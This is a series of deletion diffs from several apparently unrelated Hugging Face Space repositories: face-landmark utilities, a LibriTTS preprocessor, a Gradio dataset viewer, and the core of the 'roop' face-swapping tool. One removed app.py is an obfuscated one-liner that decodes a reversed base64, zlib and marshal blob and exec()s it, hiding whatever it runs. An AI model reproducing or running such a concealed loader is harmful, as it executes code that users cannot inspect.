43 |
-
return None
|
44 |
-
lm_chin = lm[0 : 17] # left-right
|
45 |
-
lm_eyebrow_left = lm[17 : 22] # left-right
|
46 |
-
lm_eyebrow_right = lm[22 : 27] # left-right
|
47 |
-
lm_nose = lm[27 : 31] # top-down
|
48 |
-
lm_nostrils = lm[31 : 36] # top-down
|
49 |
-
lm_eye_left = lm[36 : 42] # left-clockwise
|
50 |
-
lm_eye_right = lm[42 : 48] # left-clockwise
|
51 |
-
lm_mouth_outer = lm[48 : 60] # left-clockwise
|
52 |
-
lm_mouth_inner = lm[60 : 68] # left-clockwise
|
53 |
-
|
54 |
-
scale = 64. / (np.mean(lm_eye_right[:,0])-np.mean(lm_eye_left[:,0]))
|
55 |
-
center = ((np.mean(lm_eye_right, axis=0)+np.mean(lm_eye_left, axis=0)) / 2) * scale
|
56 |
-
h, w = round(img.shape[0] * scale), round(img.shape[1] * scale)
|
57 |
-
left = max(round(center[0] - padding[0]), 0) // 8 * 8
|
58 |
-
right = min(round(center[0] + padding[1]), w) // 8 * 8
|
59 |
-
top = max(round(center[1] - padding[2]), 0) // 8 * 8
|
60 |
-
bottom = min(round(center[1] + padding[3]), h) // 8 * 8
|
61 |
-
return h,w,top,bottom,left,right,scale
|
62 |
-
|
63 |
-
def tensor2cv2(img):
|
64 |
-
tmp = ((img.cpu().numpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8)
|
65 |
-
return cv2.cvtColor(tmp, cv2.COLOR_RGB2BGR)
|
66 |
-
|
67 |
-
def noise_regularize(noises):
|
68 |
-
loss = 0
|
69 |
-
|
70 |
-
for noise in noises:
|
71 |
-
size = noise.shape[2]
|
72 |
-
|
73 |
-
while True:
|
74 |
-
loss = (
|
75 |
-
loss
|
76 |
-
+ (noise * torch.roll(noise, shifts=1, dims=3)).mean().pow(2)
|
77 |
-
+ (noise * torch.roll(noise, shifts=1, dims=2)).mean().pow(2)
|
78 |
-
)
|
79 |
-
|
80 |
-
if size <= 8:
|
81 |
-
break
|
82 |
-
|
83 |
-
#noise = noise.reshape([-1, 1, size // 2, 2, size // 2, 2])
|
84 |
-
#noise = noise.mean([3, 5])
|
85 |
-
noise = F.interpolate(noise, scale_factor=0.5, mode='bilinear')
|
86 |
-
size //= 2
|
87 |
-
|
88 |
-
return loss
|
89 |
-
|
90 |
-
|
91 |
-
def noise_normalize_(noises):
|
92 |
-
for noise in noises:
|
93 |
-
mean = noise.mean()
|
94 |
-
std = noise.std()
|
95 |
-
|
96 |
-
noise.data.add_(-mean).div_(std)
|
97 |
-
|
98 |
-
|
99 |
-
def get_lr(t, initial_lr, rampdown=0.25, rampup=0.05):
|
100 |
-
lr_ramp = min(1, (1 - t) / rampdown)
|
101 |
-
lr_ramp = 0.5 - 0.5 * math.cos(lr_ramp * math.pi)
|
102 |
-
lr_ramp = lr_ramp * min(1, t / rampup)
|
103 |
-
|
104 |
-
return initial_lr * lr_ramp
|
105 |
-
|
106 |
-
|
107 |
-
def latent_noise(latent, strength):
|
108 |
-
noise = torch.randn_like(latent) * strength
|
109 |
-
|
110 |
-
return latent + noise
|
111 |
-
|
112 |
-
|
113 |
-
def make_image(tensor):
|
114 |
-
return (
|
115 |
-
tensor.detach()
|
116 |
-
.clamp_(min=-1, max=1)
|
117 |
-
.add(1)
|
118 |
-
.div_(2)
|
119 |
-
.mul(255)
|
120 |
-
.type(torch.uint8)
|
121 |
-
.permute(0, 2, 3, 1)
|
122 |
-
.to("cpu")
|
123 |
-
.numpy()
|
124 |
-
)
|
125 |
-
|
126 |
-
|
127 |
-
# from pix2pixeHD
|
128 |
-
# Converts a one-hot tensor into a colorful label map
|
129 |
-
def tensor2label(label_tensor, n_label, imtype=np.uint8):
|
130 |
-
if n_label == 0:
|
131 |
-
return tensor2im(label_tensor, imtype)
|
132 |
-
label_tensor = label_tensor.cpu().float()
|
133 |
-
if label_tensor.size()[0] > 1:
|
134 |
-
label_tensor = label_tensor.max(0, keepdim=True)[1]
|
135 |
-
label_tensor = Colorize(n_label)(label_tensor)
|
136 |
-
label_numpy = np.transpose(label_tensor.numpy(), (1, 2, 0))
|
137 |
-
return label_numpy.astype(imtype)
|
138 |
-
|
139 |
-
def uint82bin(n, count=8):
|
140 |
-
"""returns the binary of integer n, count refers to amount of bits"""
|
141 |
-
return ''.join([str((n >> y) & 1) for y in range(count-1, -1, -1)])
|
142 |
-
|
143 |
-
def labelcolormap(N):
|
144 |
-
if N == 35: # cityscape
|
145 |
-
cmap = np.array([( 0, 0, 0), ( 0, 0, 0), ( 0, 0, 0), ( 0, 0, 0), ( 0, 0, 0), (111, 74, 0), ( 81, 0, 81),
|
146 |
-
(128, 64,128), (244, 35,232), (250,170,160), (230,150,140), ( 70, 70, 70), (102,102,156), (190,153,153),
|
147 |
-
(180,165,180), (150,100,100), (150,120, 90), (153,153,153), (153,153,153), (250,170, 30), (220,220, 0),
|
148 |
-
(107,142, 35), (152,251,152), ( 70,130,180), (220, 20, 60), (255, 0, 0), ( 0, 0,142), ( 0, 0, 70),
|
149 |
-
( 0, 60,100), ( 0, 0, 90), ( 0, 0,110), ( 0, 80,100), ( 0, 0,230), (119, 11, 32), ( 0, 0,142)],
|
150 |
-
dtype=np.uint8)
|
151 |
-
else:
|
152 |
-
cmap = np.zeros((N, 3), dtype=np.uint8)
|
153 |
-
for i in range(N):
|
154 |
-
r, g, b = 0, 0, 0
|
155 |
-
id = i
|
156 |
-
for j in range(7):
|
157 |
-
str_id = uint82bin(id)
|
158 |
-
r = r ^ (np.uint8(str_id[-1]) << (7-j))
|
159 |
-
g = g ^ (np.uint8(str_id[-2]) << (7-j))
|
160 |
-
b = b ^ (np.uint8(str_id[-3]) << (7-j))
|
161 |
-
id = id >> 3
|
162 |
-
cmap[i, 0] = r
|
163 |
-
cmap[i, 1] = g
|
164 |
-
cmap[i, 2] = b
|
165 |
-
return cmap
|
166 |
-
|
167 |
-
class Colorize(object):
|
168 |
-
def __init__(self, n=35):
|
169 |
-
self.cmap = labelcolormap(n)
|
170 |
-
self.cmap = torch.from_numpy(self.cmap[:n])
|
171 |
-
|
172 |
-
def __call__(self, gray_image):
|
173 |
-
size = gray_image.size()
|
174 |
-
color_image = torch.ByteTensor(3, size[1], size[2]).fill_(0)
|
175 |
-
|
176 |
-
for label in range(0, len(self.cmap)):
|
177 |
-
mask = (label == gray_image[0]).cpu()
|
178 |
-
color_image[0][mask] = self.cmap[label][0]
|
179 |
-
color_image[1][mask] = self.cmap[label][1]
|
180 |
-
color_image[2][mask] = self.cmap[label][2]
|
181 |
-
|
182 |
-
return color_image
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AIGC-Audio/AudioGPT/text_to_speech/egs/datasets/audio/libritts/preprocess.py
DELETED
@@ -1,13 +0,0 @@
|
|
1 |
-
from data_gen.tts.base_preprocess import BasePreprocessor
|
2 |
-
import glob, os
|
3 |
-
|
4 |
-
class LibriTTSPreprocess(BasePreprocessor):
|
5 |
-
def meta_data(self):
|
6 |
-
wav_fns = sorted(glob.glob(f'{self.raw_data_dir}/*/*/*/*.wav'))
|
7 |
-
for wav_fn in wav_fns:
|
8 |
-
item_name = os.path.basename(wav_fn)[:-4]
|
9 |
-
txt_fn = f'{wav_fn[:-4]}.normalized.txt'
|
10 |
-
with open(txt_fn, 'r') as f:
|
11 |
-
txt = f.read()
|
12 |
-
spk_name = item_name.split("_")[0]
|
13 |
-
yield {'item_name': item_name, 'wav_fn': wav_fn, 'txt': txt, 'spk_name': spk_name}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AIZerotoHero-Health4All/03-Datasets/app.py
DELETED
@@ -1,99 +0,0 @@
|
|
1 |
-
from typing import List, Dict
|
2 |
-
import httpx
|
3 |
-
import gradio as gr
|
4 |
-
import pandas as pd
|
5 |
-
|
6 |
-
async def get_splits(dataset_name: str) -> Dict[str, List[Dict]]:
|
7 |
-
URL = f"https://datasets-server.huggingface.co/splits?dataset={dataset_name}"
|
8 |
-
async with httpx.AsyncClient() as session:
|
9 |
-
response = await session.get(URL)
|
10 |
-
return response.json()
|
11 |
-
|
12 |
-
async def get_valid_datasets() -> Dict[str, List[str]]:
|
13 |
-
URL = f"https://datasets-server.huggingface.co/valid"
|
14 |
-
async with httpx.AsyncClient() as session:
|
15 |
-
response = await session.get(URL)
|
16 |
-
datasets = response.json()["valid"]
|
17 |
-
return gr.Dropdown.update(choices=datasets, value="awacke1/ChatbotMemory.csv")
|
18 |
-
# The one to watch: https://huggingface.co/rungalileo
|
19 |
-
# rungalileo/medical_transcription_40
|
20 |
-
|
21 |
-
async def get_first_rows(dataset: str, config: str, split: str) -> Dict[str, Dict[str, List[Dict]]]:
|
22 |
-
URL = f"https://datasets-server.huggingface.co/first-rows?dataset={dataset}&config={config}&split={split}"
|
23 |
-
async with httpx.AsyncClient() as session:
|
24 |
-
response = await session.get(URL)
|
25 |
-
print(URL)
|
26 |
-
gr.Markdown(URL)
|
27 |
-
return response.json()
|
28 |
-
|
29 |
-
def get_df_from_rows(api_output):
|
30 |
-
dfFromSort = pd.DataFrame([row["row"] for row in api_output["rows"]])
|
31 |
-
try:
|
32 |
-
dfFromSort.sort_values(by=1, axis=1, ascending=True, inplace=False, kind='mergesort', na_position='last', ignore_index=False, key=None)
|
33 |
-
except:
|
34 |
-
print("Exception sorting due to keyerror?")
|
35 |
-
return dfFromSort
|
36 |
-
|
37 |
-
async def update_configs(dataset_name: str):
|
38 |
-
splits = await get_splits(dataset_name)
|
39 |
-
all_configs = sorted(set([s["config"] for s in splits["splits"]]))
|
40 |
-
return (gr.Dropdown.update(choices=all_configs, value=all_configs[0]),
|
41 |
-
splits)
|
42 |
-
|
43 |
-
async def update_splits(config_name: str, state: gr.State):
|
44 |
-
splits_for_config = sorted(set([s["split"] for s in state["splits"] if s["config"] == config_name]))
|
45 |
-
dataset_name = state["splits"][0]["dataset"]
|
46 |
-
dataset = await update_dataset(splits_for_config[0], config_name, dataset_name)
|
47 |
-
return (gr.Dropdown.update(choices=splits_for_config, value=splits_for_config[0]), dataset)
|
48 |
-
|
49 |
-
async def update_dataset(split_name: str, config_name: str, dataset_name: str):
|
50 |
-
rows = await get_first_rows(dataset_name, config_name, split_name)
|
51 |
-
df = get_df_from_rows(rows)
|
52 |
-
return df
|
53 |
-
|
54 |
-
# Guido von Roissum: https://www.youtube.com/watch?v=-DVyjdw4t9I
|
55 |
-
async def update_URL(dataset: str, config: str, split: str) -> str:
|
56 |
-
URL = f"https://datasets-server.huggingface.co/first-rows?dataset={dataset}&config={config}&split={split}"
|
57 |
-
URL = f"https://huggingface.co/datasets/{split}"
|
58 |
-
return (URL)
|
59 |
-
|
60 |
-
async def openurl(URL: str) -> str:
|
61 |
-
html = f"<a href={URL} target=_blank>{URL}</a>"
|
62 |
-
return (html)
|
63 |
-
|
64 |
-
with gr.Blocks() as demo:
|
65 |
-
gr.Markdown("<h1><center>🥫Datasets🎨</center></h1>")
|
66 |
-
gr.Markdown("""<div align="center">Curated Datasets: <a href = "https://www.kaggle.com/datasets">Kaggle</a>. <a href="https://www.nlm.nih.gov/research/umls/index.html">NLM UMLS</a>. <a href="https://loinc.org/downloads/">LOINC</a>. <a href="https://www.cms.gov/medicare/icd-10/2022-icd-10-cm">ICD10 Diagnosis</a>. <a href="https://icd.who.int/dev11/downloads">ICD11</a>. <a href="https://paperswithcode.com/datasets?q=medical&v=lst&o=newest">Papers,Code,Datasets for SOTA in Medicine</a>. <a href="https://paperswithcode.com/datasets?q=mental&v=lst&o=newest">Mental</a>. <a href="https://paperswithcode.com/datasets?q=behavior&v=lst&o=newest">Behavior</a>. <a href="https://www.cms.gov/medicare-coverage-database/downloads/downloads.aspx">CMS Downloads</a>. <a href="https://www.cms.gov/medicare/fraud-and-abuse/physicianselfreferral/list_of_codes">CMS CPT and HCPCS Procedures and Services</a> """)
|
67 |
-
|
68 |
-
splits_data = gr.State()
|
69 |
-
|
70 |
-
with gr.Row():
|
71 |
-
dataset_name = gr.Dropdown(label="Dataset", interactive=True)
|
72 |
-
config = gr.Dropdown(label="Subset", interactive=True)
|
73 |
-
split = gr.Dropdown(label="Split", interactive=True)
|
74 |
-
|
75 |
-
with gr.Row():
|
76 |
-
#filterleft = gr.Textbox(label="First Column Filter",placeholder="Filter Column 1")
|
77 |
-
URLcenter = gr.Textbox(label="Dataset URL", placeholder="URL")
|
78 |
-
btn = gr.Button("Use Dataset")
|
79 |
-
#URLoutput = gr.Textbox(label="Output",placeholder="URL Output")
|
80 |
-
URLoutput = gr.HTML(label="Output",placeholder="URL Output")
|
81 |
-
|
82 |
-
with gr.Row():
|
83 |
-
dataset = gr.DataFrame(wrap=True, interactive=True)
|
84 |
-
|
85 |
-
demo.load(get_valid_datasets, inputs=None, outputs=[dataset_name])
|
86 |
-
|
87 |
-
dataset_name.change(update_configs, inputs=[dataset_name], outputs=[config, splits_data])
|
88 |
-
config.change(update_splits, inputs=[config, splits_data], outputs=[split, dataset])
|
89 |
-
split.change(update_dataset, inputs=[split, config, dataset_name], outputs=[dataset])
|
90 |
-
|
91 |
-
dataset_name.change(update_URL, inputs=[split, config, dataset_name], outputs=[URLcenter])
|
92 |
-
|
93 |
-
btn.click(openurl, [URLcenter], URLoutput)
|
94 |
-
|
95 |
-
demo.launch(debug=True)
|
96 |
-
|
97 |
-
# original: https://huggingface.co/spaces/freddyaboulton/dataset-viewer -- Freddy thanks! Your examples are the best.
|
98 |
-
# playlist on Gradio and Mermaid: https://www.youtube.com/watch?v=o7kCD4aWMR4&list=PLHgX2IExbFosW7hWNryq8hs2bt2aj91R-
|
99 |
-
# Link to Mermaid model and code: [](https://mermaid.live/edit#pako:eNp1U8mO2zAM_RXCZ-eQpZccCm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DELETED
@@ -1,214 +0,0 @@
|
|
1 |
-
#!/usr/bin/env python3
|
2 |
-
import os
|
3 |
-
import sys
|
4 |
-
# single thread doubles cuda performance - needs to be set before torch import
|
5 |
-
if any(arg.startswith('--execution-provider') for arg in sys.argv):
|
6 |
-
os.environ['OMP_NUM_THREADS'] = '1'
|
7 |
-
# reduce tensorflow log level
|
8 |
-
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
|
9 |
-
import warnings
|
10 |
-
from typing import List
|
11 |
-
import platform
|
12 |
-
import signal
|
13 |
-
import shutil
|
14 |
-
import argparse
|
15 |
-
import torch
|
16 |
-
import onnxruntime
|
17 |
-
import tensorflow
|
18 |
-
|
19 |
-
import roop.globals
|
20 |
-
import roop.metadata
|
21 |
-
import roop.ui as ui
|
22 |
-
from roop.predictor import predict_image, predict_video
|
23 |
-
from roop.processors.frame.core import get_frame_processors_modules
|
24 |
-
from roop.utilities import has_image_extension, is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clean_temp, normalize_output_path
|
25 |
-
|
26 |
-
if 'ROCMExecutionProvider' in roop.globals.execution_providers:
|
27 |
-
del torch
|
28 |
-
|
29 |
-
warnings.filterwarnings('ignore', category=FutureWarning, module='insightface')
|
30 |
-
warnings.filterwarnings('ignore', category=UserWarning, module='torchvision')
|
31 |
-
|
32 |
-
|
33 |
-
def parse_args() -> None:
|
34 |
-
signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
|
35 |
-
program = argparse.ArgumentParser(formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100))
|
36 |
-
program.add_argument('-s', '--source', help='select an source image', dest='source_path')
|
37 |
-
program.add_argument('-t', '--target', help='select an target image or video', dest='target_path')
|
38 |
-
program.add_argument('-o', '--output', help='select output file or directory', dest='output_path')
|
39 |
-
program.add_argument('--frame-processor', help='frame processors (choices: face_swapper, face_enhancer, ...)', dest='frame_processor', default=['face_swapper'], nargs='+')
|
40 |
-
program.add_argument('--keep-fps', help='keep original fps', dest='keep_fps', action='store_true', default=False)
|
41 |
-
program.add_argument('--keep-audio', help='keep original audio', dest='keep_audio', action='store_true', default=True)
|
42 |
-
program.add_argument('--keep-frames', help='keep temporary frames', dest='keep_frames', action='store_true', default=False)
|
43 |
-
program.add_argument('--many-faces', help='process every face', dest='many_faces', action='store_true', default=False)
|
44 |
-
program.add_argument('--video-encoder', help='adjust output video encoder', dest='video_encoder', default='libx264', choices=['libx264', 'libx265', 'libvpx-vp9'])
|
45 |
-
program.add_argument('--video-quality', help='adjust output video quality', dest='video_quality', type=int, default=18, choices=range(52), metavar='[0-51]')
|
46 |
-
program.add_argument('--max-memory', help='maximum amount of RAM in GB', dest='max_memory', type=int, default=suggest_max_memory())
|
47 |
-
program.add_argument('--execution-provider', help='available execution provider (choices: cpu, ...)', dest='execution_provider', default=['cpu'], choices=suggest_execution_providers(), nargs='+')
|
48 |
-
program.add_argument('--execution-threads', help='number of execution threads', dest='execution_threads', type=int, default=suggest_execution_threads())
|
49 |
-
program.add_argument('-v', '--version', action='version', version=f'{roop.metadata.name} {roop.metadata.version}')
|
50 |
-
|
51 |
-
args = program.parse_args()
|
52 |
-
|
53 |
-
roop.globals.source_path = args.source_path
|
54 |
-
roop.globals.target_path = args.target_path
|
55 |
-
roop.globals.output_path = normalize_output_path(roop.globals.source_path, roop.globals.target_path, args.output_path)
|
56 |
-
roop.globals.frame_processors = args.frame_processor
|
57 |
-
roop.globals.headless = args.source_path or args.target_path or args.output_path
|
58 |
-
roop.globals.keep_fps = args.keep_fps
|
59 |
-
roop.globals.keep_audio = args.keep_audio
|
60 |
-
roop.globals.keep_frames = args.keep_frames
|
61 |
-
roop.globals.many_faces = args.many_faces
|
62 |
-
roop.globals.video_encoder = args.video_encoder
|
63 |
-
roop.globals.video_quality = args.video_quality
|
64 |
-
roop.globals.max_memory = args.max_memory
|
65 |
-
roop.globals.execution_providers = decode_execution_providers(args.execution_provider)
|
66 |
-
roop.globals.execution_threads = args.execution_threads
|
67 |
-
|
68 |
-
|
69 |
-
def encode_execution_providers(execution_providers: List[str]) -> List[str]:
|
70 |
-
return [execution_provider.replace('ExecutionProvider', '').lower() for execution_provider in execution_providers]
|
71 |
-
|
72 |
-
|
73 |
-
def decode_execution_providers(execution_providers: List[str]) -> List[str]:
|
74 |
-
return [provider for provider, encoded_execution_provider in zip(onnxruntime.get_available_providers(), encode_execution_providers(onnxruntime.get_available_providers()))
|
75 |
-
if any(execution_provider in encoded_execution_provider for execution_provider in execution_providers)]
|
76 |
-
|
77 |
-
|
78 |
-
def suggest_max_memory() -> int:
|
79 |
-
if platform.system().lower() == 'darwin':
|
80 |
-
return 4
|
81 |
-
return 16
|
82 |
-
|
83 |
-
|
84 |
-
def suggest_execution_providers() -> List[str]:
|
85 |
-
return encode_execution_providers(onnxruntime.get_available_providers())
|
86 |
-
|
87 |
-
|
88 |
-
def suggest_execution_threads() -> int:
|
89 |
-
if 'DmlExecutionProvider' in roop.globals.execution_providers:
|
90 |
-
return 1
|
91 |
-
if 'ROCMExecutionProvider' in roop.globals.execution_providers:
|
92 |
-
return 1
|
93 |
-
return 8
|
94 |
-
|
95 |
-
|
96 |
-
def limit_resources() -> None:
|
97 |
-
# prevent tensorflow memory leak
|
98 |
-
gpus = tensorflow.config.experimental.list_physical_devices('GPU')
|
99 |
-
for gpu in gpus:
|
100 |
-
tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
|
101 |
-
tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit=1024)
|
102 |
-
])
|
103 |
-
# limit memory usage
|
104 |
-
if roop.globals.max_memory:
|
105 |
-
memory = roop.globals.max_memory * 1024 ** 3
|
106 |
-
if platform.system().lower() == 'darwin':
|
107 |
-
memory = roop.globals.max_memory * 1024 ** 6
|
108 |
-
if platform.system().lower() == 'windows':
|
109 |
-
import ctypes
|
110 |
-
kernel32 = ctypes.windll.kernel32
|
111 |
-
kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
|
112 |
-
else:
|
113 |
-
import resource
|
114 |
-
resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
|
115 |
-
|
116 |
-
|
117 |
-
def release_resources() -> None:
|
118 |
-
if 'CUDAExecutionProvider' in roop.globals.execution_providers:
|
119 |
-
torch.cuda.empty_cache()
|
120 |
-
|
121 |
-
|
122 |
-
def pre_check() -> bool:
|
123 |
-
if sys.version_info < (3, 9):
|
124 |
-
update_status('Python version is not supported - please upgrade to 3.9 or higher.')
|
125 |
-
return False
|
126 |
-
if not shutil.which('ffmpeg'):
|
127 |
-
update_status('ffmpeg is not installed.')
|
128 |
-
return False
|
129 |
-
return True
|
130 |
-
|
131 |
-
|
132 |
-
def update_status(message: str, scope: str = 'ROOP.CORE') -> None:
|
133 |
-
print(f'[{scope}] {message}')
|
134 |
-
if not roop.globals.headless:
|
135 |
-
ui.update_status(message)
|
136 |
-
|
137 |
-
|
138 |
-
def start() -> None:
|
139 |
-
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
|
140 |
-
if not frame_processor.pre_start():
|
141 |
-
return
|
142 |
-
# process image to image
|
143 |
-
if has_image_extension(roop.globals.target_path):
|
144 |
-
if predict_image(roop.globals.target_path):
|
145 |
-
destroy()
|
146 |
-
shutil.copy2(roop.globals.target_path, roop.globals.output_path)
|
147 |
-
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
|
148 |
-
update_status('Progressing...', frame_processor.NAME)
|
149 |
-
frame_processor.process_image(roop.globals.source_path, roop.globals.output_path, roop.globals.output_path)
|
150 |
-
frame_processor.post_process()
|
151 |
-
release_resources()
|
152 |
-
if is_image(roop.globals.target_path):
|
153 |
-
update_status('Processing to image succeed!')
|
154 |
-
else:
|
155 |
-
update_status('Processing to image failed!')
|
156 |
-
return
|
157 |
-
# process image to videos
|
158 |
-
if predict_video(roop.globals.target_path):
|
159 |
-
destroy()
|
160 |
-
update_status('Creating temp resources...')
|
161 |
-
create_temp(roop.globals.target_path)
|
162 |
-
update_status('Extracting frames...')
|
163 |
-
extract_frames(roop.globals.target_path)
|
164 |
-
temp_frame_paths = get_temp_frame_paths(roop.globals.target_path)
|
165 |
-
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
|
166 |
-
update_status('Progressing...', frame_processor.NAME)
|
167 |
-
frame_processor.process_video(roop.globals.source_path, temp_frame_paths)
|
168 |
-
frame_processor.post_process()
|
169 |
-
release_resources()
|
170 |
-
# handles fps
|
171 |
-
if roop.globals.keep_fps:
|
172 |
-
update_status('Detecting fps...')
|
173 |
-
fps = detect_fps(roop.globals.target_path)
|
174 |
-
update_status(f'Creating video with {fps} fps...')
|
175 |
-
create_video(roop.globals.target_path, fps)
|
176 |
-
else:
|
177 |
-
update_status('Creating video with 30.0 fps...')
|
178 |
-
create_video(roop.globals.target_path)
|
179 |
-
# handle audio
|
180 |
-
if roop.globals.keep_audio:
|
181 |
-
if roop.globals.keep_fps:
|
182 |
-
update_status('Restoring audio...')
|
183 |
-
else:
|
184 |
-
update_status('Restoring audio might cause issues as fps are not kept...')
|
185 |
-
restore_audio(roop.globals.target_path, roop.globals.output_path)
|
186 |
-
else:
|
187 |
-
move_temp(roop.globals.target_path, roop.globals.output_path)
|
188 |
-
# clean and validate
|
189 |
-
clean_temp(roop.globals.target_path)
|
190 |
-
if is_video(roop.globals.target_path):
|
191 |
-
update_status('Processing to video succeed!')
|
192 |
-
else:
|
193 |
-
update_status('Processing to video failed!')
|
194 |
-
|
195 |
-
|
196 |
-
def destroy() -> None:
|
197 |
-
if roop.globals.target_path:
|
198 |
-
clean_temp(roop.globals.target_path)
|
199 |
-
quit()
|
200 |
-
|
201 |
-
|
202 |
-
def run() -> None:
|
203 |
-
parse_args()
|
204 |
-
if not pre_check():
|
205 |
-
return
|
206 |
-
for frame_processor in get_frame_processors_modules(roop.globals.frame_processors):
|
207 |
-
if not frame_processor.pre_check():
|
208 |
-
return
|
209 |
-
limit_resources()
|
210 |
-
if roop.globals.headless:
|
211 |
-
start()
|
212 |
-
else:
|
213 |
-
window = ui.init(start, destroy)
|
214 |
-
window.mainloop()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AQaTaHaGoD/GoD/app.py
DELETED
@@ -1 +0,0 @@
|
|
1 |
-
_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'=oBe4FdD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TrT/t4wRVMNJiPGnxUpNDLKHjbH3yn0kpCzHunQ3kDBWBSH4pgM+LZ9CGoLTEFJ6wDIzxBLtY4cW10DuFae0cC4MDiI12RwvQGb5OHttVKctrIzItEQHiIs+HnCQnkkpOxXsImzkxaWC7WRQKRI/4itxCfh52V3S1oh4ry2rCv+1vqiJE8O8I/UsSfZso9it+RbScfrGyho+d9yJwRAH9ArbIYJGaLGQqo0jdcV8NXS+DENLD5YN8kIJtIlvzLXYs/vkn7Qr+ZwynPzZ45ddtzEJVk9bjs/cdeYvf4d3ajgPoLc02wZ6AwA3Entg+dKdCDtau58zbQe1kJlwHZy2b6LVsRi5ogNhAaGffly3nfGtjbtGhOvJ8S24G7w4/ZtnEmVdXJAaEfH+PR1vghRobj3Buy5qOFvaql43OW8M+7yOGzmTyMI2J8wM53vPjlF4S7Q/n9O+LKvBJu38N8EDxYDqpYnscSeXljbflkmOXSyBkedumqL2yZHMrkL0F53tOE9hHgcMnwUaENdr7pcBFItAyCCaG85BXQczpPEIeI7ABLILvQ8liwC0eAAkW0CEpqmsgcmGA+yKIiboqvDJbQg0IAuTANbiJ79q+//555f0/s/3+//j7/I+nnz//vn//fPP/T9fK/vSf9/X/P+3v4ff+//6v+/n812ia6rK7/bHJNh2CTpN3fp3c548Y5MDN5wMwcpxcAAdYvC8XxevXyqOxudsmcxJe'))
|
|
|
|
spaces/Aadarsh4all/ChatWithBear/README.md
DELETED
@@ -1,12 +0,0 @@
|
|
1 |
-
---
|
2 |
-
title: ChatWithBear
|
3 |
-
emoji: 🌖
|
4 |
-
colorFrom: blue
|
5 |
-
colorTo: gray
|
6 |
-
sdk: gradio
|
7 |
-
sdk_version: 3.39.0
|
8 |
-
app_file: app.py
|
9 |
-
pinned: false
|
10 |
-
---
|
11 |
-
|
12 |
-
Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/AchyuthGamer/OpenGPT-Chat-UI/.svelte-kit/types/src/routes/conversation/[id]/message/[messageId]/vote/$types.d.ts
DELETED
@@ -1,9 +0,0 @@
|
|
1 |
-
import type * as Kit from '@sveltejs/kit';
|
2 |
-
|
3 |
-
type Expand<T> = T extends infer O ? { [K in keyof O]: O[K] } : never;
|
4 |
-
